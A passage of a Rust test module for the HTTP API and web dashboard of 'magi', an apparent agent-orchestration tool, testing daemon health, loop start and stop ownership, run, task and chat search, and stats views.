17800                .is_some_and(|e| e.contains("task")),
17801            "the error names what was not found: {}",
17802            task.body
17803        );
17804    }
17805
17806    #[tokio::test]
17807    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17808        let f = Fixture::start().await;
17809
17810        let missing = f.get("/api/health").await.json();
17811        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17812
17813        write_daemon(
17814            f.home.path(),
17815            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17816        );
17817        let stale = f.get("/api/health").await.json();
17818        assert_eq!(
17819            stale["daemon"]["running"], false,
17820            "a minute without a heartbeat is a dead daemon, not a busy one"
17821        );
17822        assert!(
17823            stale["daemon"]["stale_for_secs"]
17824                .as_i64()
17825                .is_some_and(|s| s >= 55),
17826            "staleness is reported so the UI can say how long: {stale}"
17827        );
17828
17829        write_daemon(f.home.path(), Timestamp::now());
17830        let fresh = f.get("/api/health").await.json();
17831        assert_eq!(fresh["daemon"]["running"], true);
17832        assert_eq!(fresh["daemon"]["idle"], false);
17833        assert_eq!(fresh["daemon"]["pid"], 4242);
17834        assert_eq!(fresh["daemon"]["completed"], 7);
17835        assert_eq!(
17836            fresh["daemon"]["current"][0]["task"],
17837            "20260902-140501-aaaa"
17838        );
17839        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17840    }
17841
17842    #[tokio::test]
17843    async fn the_loop_is_not_running_until_something_starts_it() {
17844        let f = Fixture::start().await;
17845
17846        let view = f.get("/api/loop").await.json();
17847        assert_eq!(view["running"], false);
17848        assert_eq!(
17849            view["owned"], false,
17850            "nobody owns a loop that does not exist: {view}"
17851        );
17852        assert_eq!(view["stopping"], false);
17853        assert_eq!(view["last_error"], Value::Null);
17854        assert_eq!(view["daemon"]["running"], false);
17855        assert_eq!(
17856            view["repo"], "/repo/magi",
17857            "the repository a start would use, named before it is started"
17858        );
17859    }
17860
17861    #[tokio::test]
17862    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17863        let f = Fixture::start().await;
17864
17865        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17866        assert_eq!(res.status, 200, "{}", res.body);
17867        let view = res.json();
17868        assert_eq!(view["running"], true);
17869        assert_eq!(
17870            view["owned"], true,
17871            "the loop the UI started is the UI's own to stop: {view}"
17872        );
17873        assert_eq!(
17874            view["merge"],
17875            Value::Null,
17876            "no override was given, so each repository's own config decides"
17877        );
17878
17879        // The same object from the route a waking phone polls first. Two
17880        // surfaces disagreeing about whether anything is running is exactly
17881        // the confusion this UI exists to remove.
17882        let health = f.get("/api/health").await.json();
17883        assert_eq!(health["loop"]["running"], true, "{health}");
17884        assert_eq!(health["loop"]["owned"], true, "{health}");
17885
17886        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17887    }
17888
17889    #[tokio::test]
17890    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17891        let f = Fixture::start().await;
17892        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17893        assert_eq!(first.status, 200, "{}", first.body);
17894
17895        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17896        assert_eq!(
17897            again.status, 409,
17898            "two loops on one queue race for the same claims: {}",
17899            again.body
17900        );
17901        assert!(
17902            again.json()["error"]
17903                .as_str()
17904                .is_some_and(|e| e.contains("already running the loop")),
17905            "the refusal has to say why: {}",
17906            again.body
17907        );
17908        assert_eq!(
17909            f.get("/api/loop").await.json()["running"],
17910            true,
17911            "and the loop that was already running is untouched by it"
17912        );
17913
17914        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17915    }
17916
17917    #[tokio::test]
17918    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17919        let f = Fixture::start().await;
17920        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17921
17922        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17923        assert_eq!(
17924            res.status, 200,
17925            "the answer must not wait for the loop: a run in flight is tens of \
17926             minutes and the operator is holding a phone: {}",
17927            res.body
17928        );
17929
17930        let view = settled(&f, |v| v["running"] == false).await;
17931        assert_eq!(view["owned"], false);
17932        assert_eq!(
17933            view["stopping"], false,
17934            "a loop that has stopped is not still stopping: {view}"
17935        );
17936        assert_eq!(
17937            view["last_error"],
17938            Value::Null,
17939            "a loop that was asked to stop did not fail: {view}"
17940        );
17941
17942        // Idempotent, because the operator cannot tell a slow stop from a lost
17943        // one and will press it again.
17944        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17945        assert_eq!(twice.status, 200, "{}", twice.body);
17946    }
17947
17948    #[tokio::test]
17949    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17950        let f = Fixture::start().await;
17951        // How the operator has been doing it: a `magi serve` of their own,
17952        // heartbeat fresh, in the same home this UI reads.
17953        write_daemon(f.home.path(), Timestamp::now());
17954
17955        let view = f.get("/api/loop").await.json();
17956        assert_eq!(view["running"], false, "not in this process: {view}");
17957        assert_eq!(view["owned"], false, "and not this process's to control");
17958        assert_eq!(
17959            view["daemon"]["running"], true,
17960            "but a loop is alive somewhere, which is what the UI must say"
17961        );
17962        assert_eq!(view["daemon"]["pid"], 4242);
17963
17964        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17965            let res = f.post("/api/loop", Some(body)).await;
17966            assert_eq!(
17967                res.status, 409,
17968                "neither button may pretend to work on someone else's loop: {}",
17969                res.body
17970            );
17971            assert!(
17972                res.json()["error"]
17973                    .as_str()
17974                    .is_some_and(|e| e.contains("4242")),
17975                "the refusal has to name the process the operator must go to: {}",
17976                res.body
17977            );
17978        }
17979        assert_eq!(
17980            f.get("/api/loop").await.json()["running"],
17981            false,
17982            "and the refusal started nothing"
17983        );
17984    }
17985
17986    #[tokio::test]
17987    async fn a_stale_status_file_is_not_a_foreign_owner() {
17988        let f = Fixture::start().await;
17989        write_daemon(
17990            f.home.path(),
17991            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17992        );
17993
17994        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17995        assert_eq!(
17996            res.status, 200,
17997            "a daemon killed a minute ago must not lock the loop out of its \
17998             own home for good: {}",
17999            res.body
18000        );
18001        assert_eq!(res.json()["running"], true);
18002
18003        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18004    }
18005
18006    #[tokio::test]
18007    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18008        let f = Fixture::start().await;
18009        let before = f.get("/api/health").await.json()["loop_rev"]
18010            .as_u64()
18011            .expect("a loop revision");
18012
18013        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18014
18015        let after = f.get("/api/health").await.json()["loop_rev"]
18016            .as_u64()
18017            .expect("a loop revision");
18018        assert!(
18019            after > before,
18020            "the loop is in-process state, so this counter is the only thing \
18021             that tells a second device the first one started it: {before} -> \
18022             {after}"
18023        );
18024
18025        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18026    }
18027
18028    #[tokio::test]
18029    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18030        let f = Fixture::with_loop(launch_broken).await;
18031
18032        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18033        assert_eq!(
18034            res.status, 200,
18035            "starting it is not the failure: {}",
18036            res.body
18037        );
18038
18039        let view = settled(&f, |v| v["last_error"].is_string()).await;
18040        assert_eq!(
18041            view["running"], false,
18042            "a loop that died must not read as running, or the operator has \
18043             nothing to press: {view}"
18044        );
18045        assert_eq!(view["owned"], false);
18046        assert!(
18047            view["last_error"]
18048                .as_str()
18049                .is_some_and(|e| e.contains("read-only file system")),
18050            "the phone is where a loop that died at 3am is visible: {view}"
18051        );
18052
18053        // And it can be started again: the corpse was reaped, not left to
18054        // occupy the slot.
18055        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18056        assert_eq!(again.status, 200, "{}", again.body);
18057        assert!(
18058            again.json()["last_error"]
18059                .as_str()
18060                .is_none_or(|e| !e.contains("read-only file system")),
18061            "a fresh start does not keep showing why the last one died: {}",
18062            again.body
18063        );
18064    }
18065
18066    #[tokio::test]
18067    async fn a_newer_daemon_status_file_still_renders() {
18068        let f = Fixture::start().await;
18069        // A field this build has never heard of must not turn the status line
18070        // into a 500; that is the whole reason the reader is permissive.
18071        std::fs::write(
18072            f.home.path().join("daemon.json"),
18073            serde_json::json!({
18074                "schema": 2,
18075                "updated_at": Timestamp::now().to_string(),
18076                "idle": true,
18077                "surprise": { "nested": [1, 2, 3] },
18078            })
18079            .to_string(),
18080        )
18081        .expect("write daemon.json");
18082
18083        let health = f.get("/api/health").await;
18084
18085        assert_eq!(health.status, 200);
18086        assert_eq!(health.json()["daemon"]["running"], true);
18087    }
18088
18089    #[tokio::test]
18090    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18091        let f = Fixture::start().await;
18092        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18093        let broken = f.runs().join("20260902-140502-bad");
18094        std::fs::create_dir_all(&broken).expect("run dir");
18095        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18096
18097        let list = f.get("/api/runs").await;
18098        let detail = f.get("/api/runs/20260902-140502-bad").await;
18099
18100        assert_eq!(list.status, 200);
18101        let listed = list.json();
18102        let ids: Vec<&str> = listed
18103            .as_array()
18104            .expect("an array")
18105            .iter()
18106            .map(|r| r["id"].as_str().expect("an id"))
18107            .collect();
18108        assert_eq!(
18109            ids,
18110            vec!["20260902-140501-good"],
18111            "one unreadable run must not cost the operator the whole history"
18112        );
18113        assert_eq!(detail.status, 500);
18114        assert!(
18115            detail.json()["error"]
18116                .as_str()
18117                .is_some_and(|e| e.contains("run.json")),
18118            "the failure names the file to look at: {}",
18119            detail.body
18120        );
18121        // A skipped run has to be countable somewhere, or the UI shows an
18122        // empty history with nothing to explain it - which is exactly what a
18123        // directory full of older-schema runs looks like.
18124        let health = f.get("/api/health").await;
18125        assert_eq!(health.json()["runs_unreadable"], 1);
18126    }
18127
18128    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18129    #[tokio::test]
18130    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18131        let f = Fixture::start().await;
18132        let runs = f.runs();
18133        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18134        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18135        // Text three levels down, in a shape no current RunState has: an older
18136        // schema must still search.
18137        let path = runs.join("20260902-140502-bbbb").join("run.json");
18138        let mut v: serde_json::Value =
18139            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18140        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18141        std::fs::write(&path, v.to_string()).unwrap();
18142        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18143        std::fs::write(
18144            runs.join("20260902-140503-cccc").join("run.json"),
18145            "{ not json",
18146        )
18147        .unwrap();
18148
18149        let res = f.get("/api/search?scope=runs&q=quokka").await;
18150        assert_eq!(res.status, 200, "{}", res.body);
18151        let v = res.json();
18152        assert_eq!(v["total"], 1, "{v}");
18153        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18154        assert_eq!(v["hits"][0]["field"], "text");
18155        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18156        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18157        assert!(
18158            parts
18159                .iter()
18160                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18161            "{v}"
18162        );
18163        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18164        assert_eq!(
18165            flat, "The Quokka leaks across threads",
18166            "whitespace is collapsed"
18167        );
18168
18169        // Terms are ANDed, across different fields, case-insensitively.
18170        let both = f
18171            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18172            .await
18173            .json();
18174        assert_eq!(both["total"], 1, "{both}");
18175        let neither = f
18176            .get("/api/search?scope=runs&q=quokka%20zebra")
18177            .await
18178            .json();
18179        assert_eq!(neither["total"], 0, "{neither}");
18180        // Everything in the task statement is reachable, not only the row text.
18181        let stmt = f
18182            .get("/api/search?scope=runs&q=mobile%20first")
18183            .await
18184            .json();
18185        assert_eq!(stmt["total"], 2, "{stmt}");
18186        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18187        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18188    }
18189
18190    #[test]
18191    fn snippet_ignores_terms_longer_than_the_field() {
18192        let terms = ["ok".to_owned(), "elephant".to_owned()];
18193        let parts = snippet_of("ok", &terms);
18194        assert_eq!(
18195            parts,
18196            vec![SnippetPart {
18197                text: "ok".to_owned(),
18198                hit: true
18199            }]
18200        );
18201    }
18202
18203    #[test]
18204    fn snippet_marks_matches_longer_than_the_window() {
18205        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18206        let hit_len = |parts: &[SnippetPart]| -> usize {
18207            parts
18208                .iter()
18209                .filter(|p| p.hit)
18210                .map(|p| p.text.chars().count())
18211                .sum()
18212        };
18213        let total =
18214            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18215
18216        let long = "a".repeat(120);
18217        let parts = snippet_of(&long, std::slice::from_ref(&long));
18218        assert!(hit_len(&parts) > 0, "{parts:?}");
18219        assert!(total(&parts) <= cap);
18220
18221        let ja = "あ".repeat(130);
18222        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18223        assert!(hit_len(&parts) > 0, "{parts:?}");
18224        assert!(total(&parts) <= cap);
18225
18226        // A short hit, then one straddling the window's end.
18227        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18228        let term = format!("ab{}", "c".repeat(100));
18229        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18230        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18231        assert!(total(&parts) <= cap);
18232
18233        // Only the head matches: not highlighted.
18234        let text = format!("{}z", "a".repeat(119));
18235        let parts = snippet_of(&text, &["a".repeat(120)]);
18236        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18237    }
18238
18239    #[tokio::test]
18240    async fn search_caps_hits_and_snippet_length() {
18241        let f = Fixture::start().await;
18242        let runs = f.runs();
18243        for n in 0..(SEARCH_MAX_HITS + 5) {
18244            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18245        }
18246        let v = f.get("/api/search?scope=runs&q=web").await.json();
18247        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18248        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18249        assert_eq!(v["truncated"], true);
18250        // Every listed run hit carries its list row for the page's filters.
18251        assert!(
18252            v["hits"]
18253                .as_array()
18254                .unwrap()
18255                .iter()
18256                .all(|h| h["run"]["status"] == "merged")
18257        );
18258
18259        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18260        let parts = snippet_of(&long, &["needle".to_owned()]);
18261        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18262        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18263        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18264    }
18265
18266    #[tokio::test]
18267    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18268        let f = Fixture::start().await;
18269        let queue = f.queue();
18270        let mut t = Task::new(
18271            "short title".to_owned(),
18272            "line one\nthe hidden Armadillo detail".to_owned(),
18273            PathBuf::from("/repo/magi"),
18274            Source::Agent {
18275                run: "r1".to_owned(),
18276                node: "chat".to_owned(),
18277            },
18278        );
18279        t.last_error = Some("disk full on /tmp".to_owned());
18280        queue.put(&mut t).expect("file the task");
18281
18282        for (q, want) in [
18283            ("armadillo", 1),
18284            ("disk%20FULL", 1),
18285            ("chat", 1),
18286            ("queued", 1),
18287            ("short%20nothing", 0),
18288        ] {
18289            let v = f
18290                .get(&format!("/api/search?scope=tasks&q={q}"))
18291                .await
18292                .json();
18293            assert_eq!(v["total"], want, "{q}: {v}");
18294        }
18295        for bad in [
18296            "/api/search?scope=tasks&q=",
18297            "/api/search?scope=tasks&q=%20",
18298            "/api/search?scope=chats&q=",
18299            "/api/search?scope=chats&q=%20",
18300            "/api/search?scope=nope&q=a",
18301            "/api/search?q=a",
18302        ] {
18303            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18304        }
18305    }
18306
18307    /// Write one conversation file the way the store reads it back.
18308    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18309        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18310            .expect("seat value");
18311        let turns: Vec<serde_json::Value> = turns
18312            .iter()
18313            .map(|(who, body)| {
18314                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18315            })
18316            .collect();
18317        let doc = serde_json::json!({
18318            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18319            "status": status, "turns": turns,
18320            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18321            "seat": seat,
18322        });
18323        let dir = f.home.path().join("talks");
18324        std::fs::create_dir_all(&dir).expect("talks dir");
18325        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18326    }
18327
18328    #[test]
18329    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18330        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18331            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18332            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18333            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18334            "seat": crate::agent::SeatState::new("talk", "test", 1)
18335        })).unwrap();
18336        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18337        talk.title = Some(talk::ChatTitle {
18338            text: "最近の話題".into(),
18339            source: talk::TitleSource::Generated,
18340        });
18341        let doc = talk_search_doc(&talk);
18342        assert_eq!(doc["title"], "最近の話題");
18343        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18344        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18345        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18346    }
18347
18348    #[tokio::test]
18349    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18350        let f = Fixture::start().await;
18351        write_talk(
18352            &f,
18353            "20260901-000001-aaaa",
18354            "open",
18355            &[
18356                (
18357                    "operator",
18358                    "\n  Why does the Pangolin cache expire?\nsecond line",
18359                ),
18360                ("agent", "Because the TTL is thirty seconds."),
18361            ],
18362        );
18363        write_talk(
18364            &f,
18365            "20260901-000002-bbbb",
18366            "closed",
18367            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18368        );
18369        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18370
18371        let search = |q: &'static str| {
18372            let f = &f;
18373            async move {
18374                f.get(&format!("/api/search?scope=chats&q={q}"))
18375                    .await
18376                    .json()
18377            }
18378        };
18379
18380        let v = search("PANGOLIN").await;
18381        assert_eq!(v["scope"], "chats");
18382        assert_eq!(v["total"], 1, "{v}");
18383        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18384        assert_eq!(v["hits"][0]["field"], "title");
18385        assert_eq!(v["unreadable"], 1, "{v}");
18386        let marked: Vec<&str> = v["hits"][0]["snippet"]
18387            .as_array()
18388            .unwrap()
18389            .iter()
18390            .filter(|p| p["hit"] == true)
18391            .map(|p| p["text"].as_str().unwrap())
18392            .collect();
18393        assert_eq!(marked, ["Pangolin"]);
18394
18395        // An agent turn, in a closed conversation.
18396        let v = search("zebra").await;
18397        assert_eq!(v["total"], 1, "{v}");
18398        assert_eq!(v["hits"][0]["field"], "agent");
18399        // Words may sit in different turns; all must be present.
18400        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18401        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18402        // Bookkeeping is not searched.
18403        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18404            assert_eq!(search(q).await["total"], 0, "{q}");
18405        }
18406        // The first line only is the title; the second line is still a turn.
18407        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18408        // Open conversations are listed before closed ones.
18409        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18410
18411        let v = f.get("/api/search?scope=nope&q=a").await;
18412        assert_eq!(v.status, 400);
18413        assert!(
18414            v.body.contains("scope must be runs, tasks or chats"),
18415            "{}",
18416            v.body
18417        );
18418    }
18419
18420    #[test]
18421    fn a_question_card_links_a_task_id_to_the_task_page() {
18422        let start = APP_JS
18423            .find("function updateAskCard(")
18424            .expect("updateAskCard exists");
18425        let body = &APP_JS[start..];
18426        let body = &body[..body.find("\n}\n").expect("function end")];
18427        assert!(body.contains("question.run_is_task"));
18428        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18429        assert!(body.contains("`#/runs/${question.run}`"));
18430        assert!(body.contains("\"task\" : \"run\""));
18431    }
18432
18433    #[test]
18434    fn plain_text_message_surfaces_go_through_linkify() {
18435        assert!(APP_JS.contains("function linkify("));
18436        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18437        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18438        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18439        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18440        assert!(!APP_JS.contains("innerHTML = text"));
18441    }
18442
18443    #[test]
18444    fn implementation_rate_views_keep_independent_samples() {
18445        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18446            let a = stats::AgentStats {
18447                competitive_entered: competitive_n,
18448                competitive_wins: usize::from(competitive_n > 0),
18449                solo_entered: solo_n,
18450                solo_adopted: 2 * usize::from(solo_n > 0),
18451                ..Default::default()
18452            };
18453            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18454            for (key, n, numerator) in [
18455                ("competitive_win_rate", competitive_n, a.competitive_wins),
18456                ("solo_adoption_rate", solo_n, a.solo_adopted),
18457            ] {
18458                if n == 0 {
18459                    assert!(v[key].is_null());
18460                } else {
18461                    assert_eq!(v[key]["denominator"], n);
18462                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18463                }
18464            }
18465        }
18466        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18467        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18468        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18469        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18470    }
18471
18472    #[test]
18473    fn stats_bars_share_one_id_keyed_plan() {
18474        let start = APP_JS
18475            .find("function statsBarRows(")
18476            .expect("statsBarRows exists");
18477        let body = &APP_JS[start..];
18478        let body = &body[..body.find("\n}\n").expect("function end")];
18479        assert!(body.contains("statsBarPlan(rows)"));
18480        assert!(body.contains("statsAgentTone(row.agent)"));
18481        assert!(!body.contains("candTone(i)"));
18482        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18483        for root in [
18484            "stats-agents-bars",
18485            "stats-solo-bars",
18486            "stats-reviewers-bars",
18487        ] {
18488            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18489        }
18490    }
18491
18492    #[test]
18493    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18494        let start = APP_JS
18495            .find("function renderStatsReviewerScatter(")
18496            .expect("renderStatsReviewerScatter exists");
18497        let body = &APP_JS[start..];
18498        let body = &body[..body.find("\n}\n").expect("function end")];
18499        assert!(body.contains("statsScatterPlan(reviewers)"));
18500        assert!(body.contains("statsAgentTone(d.agent)"));
18501        assert!(APP_JS.contains("function statsScatterPlan("));
18502        assert!(
18503            APP_JS.contains("d.submitted < STATS_LOW_N")
18504                || APP_JS.contains("r.submitted < STATS_LOW_N")
18505        );
18506        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18507        assert!(APP_CSS.contains(".precision-scatter"));
18508    }
18509
18510    #[test]
18511    fn advisor_reflection_is_drawn_as_stacked_segments() {
18512        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18513        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18514        let html = include_str!("../assets/ui/index.html");
18515        assert!(html.contains("Approximate"));
18516        for label in ["reflected strongly", "faint", "no proposal"] {
18517            assert!(html.contains(label));
18518        }
18519        let css = include_str!("../assets/ui/app.css");
18520        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18521            assert!(css.contains(&format!(".{c} {{")));
18522        }
18523    }
18524
18525    #[test]
18526    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18527        assert!(APP_JS.contains("function statsDailyPlan("));
18528        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18529        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18530    }
18531
18532    #[test]
18533    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18534        let start = APP_JS
18535            .find("function scheduleSearch(")
18536            .expect("scheduleSearch exists");
18537        let body = &APP_JS[start..];
18538        let body = &body[..body.find("\n}\n").expect("function end")];
18539        assert!(body.contains("s.seq += 1"));
18540    }
18541
18542    /// The dashboard reads every run's state itself rather than trusting a
18543    /// separately-maintained count, so an unreadable run must be counted the
18544    /// same way `/api/health` counts it - never silently dropped the way the
18545    /// CLI's own `stats::load_all` drops it.
18546    #[tokio::test]
18547    async fn stats_runs_unreadable_matches_health() {
18548        let f = Fixture::start().await;
18549        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18550        let broken = f.runs().join("20260902-140502-bad");
18551        std::fs::create_dir_all(&broken).expect("run dir");
18552        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18553
18554        let stats = f.get("/api/stats").await;
18555        let health = f.get("/api/health").await;
18556
18557        assert_eq!(stats.status, 200);
18558        assert_eq!(stats.json()["totals"]["runs"], 1);
18559        assert_eq!(stats.json()["runs_unreadable"], 1);
18560        assert_eq!(
18561            stats.json()["runs_unreadable"],
18562            health.json()["runs_unreadable"],
18563            "the dashboard and /api/health must never disagree about how many \
18564             runs could not be read"
18565        );
18566    }
18567
18568    #[tokio::test]
18569    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18570        let f = Fixture::start().await;
18571        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18572        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18573        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18574
18575        let totals = &f.get("/api/stats").await.json()["totals"];
18576        assert_eq!(totals["runs"], 3);
18577        assert_eq!(totals["merged"], 1);
18578        assert_eq!(totals["stalled"], 1);
18579        assert_eq!(totals["in_progress"], 1);
18580        // A stalled run must never read as blocked/merged/ready - it is its
18581        // own bucket, not folded into a "decided" one.
18582        assert_eq!(totals["blocked"], 0);
18583        assert_eq!(totals["ready"], 0);
18584    }
18585
18586    #[tokio::test]
18587    async fn stats_advisors_report_proposals_and_reflection() {
18588        use crate::advise::{Advice, AdvisorRecord, Reflection};
18589        use crate::verdict::Proposal;
18590
18591        let f = Fixture::start().await;
18592        let mut state = RunState::new(
18593            PathBuf::from("/repo/magi"),
18594            "main".to_owned(),
18595            "0123456789abcdef".to_owned(),
18596            "task".to_owned(),
18597            Config::default(),
18598        );
18599        state.id = "20260902-140501-a".to_owned();
18600        state.status = RunStatus::Merged;
18601        state.advice = Some(Advice {
18602            records: vec![
18603                AdvisorRecord {
18604                    seat: "advisor-1".to_owned(),
18605                    agent: "alpha".to_owned(),
18606                    proposal: Some(Proposal {
18607                        approach: "do it".to_owned(),
18608                        key_tradeoff: "speed over memory".to_owned(),
18609                        risks: Vec::new(),
18610                        touches: Vec::new(),
18611                        why_not_naive: "breaks under load".to_owned(),
18612                    }),
18613                    error: None,
18614                    duration_ms: 0,
18615                    reflection: Reflection::Strong,
18616                },
18617                AdvisorRecord {
18618                    seat: "advisor-2".to_owned(),
18619                    agent: "alpha".to_owned(),
18620                    proposal: None,
18621                    error: Some("timed out".to_owned()),
18622                    duration_ms: 0,
18623                    reflection: Reflection::Absent,
18624                },
18625            ],
18626            synthesis: Some("blended brief".to_owned()),
18627        });
18628        let dir = f.runs().join(&state.id);
18629        std::fs::create_dir_all(&dir).expect("run dir");
18630        std::fs::write(
18631            dir.join("run.json"),
18632            serde_json::to_string_pretty(&state).expect("serialize run"),
18633        )
18634        .expect("write run.json");
18635
18636        // `alpha` is in no roster here; this test is about the rates.
18637        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18638        let alpha = advisors
18639            .as_array()
18640            .expect("an array")
18641            .iter()
18642            .find(|a| a["agent"] == "alpha")
18643            .expect("alpha row");
18644        assert_eq!(alpha["seated"], 2);
18645        assert_eq!(alpha["proposed"], 1);
18646        assert_eq!(alpha["absent"], 1);
18647        assert_eq!(alpha["strong"], 1);
18648        assert_eq!(alpha["faint"], 0);
18649        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18650    }
18651
18652    #[tokio::test]
18653    async fn stats_hides_agents_outside_the_roster_unless_all() {
18654        use crate::run::Candidate;
18655        let repo = TempDir::new().expect("repo dir");
18656        std::fs::write(
18657            repo.path().join("magi.toml"),
18658            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18659        )
18660        .expect("magi.toml");
18661        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18662        let mut state = RunState::new(
18663            PathBuf::from("/repo/magi"),
18664            "main".to_owned(),
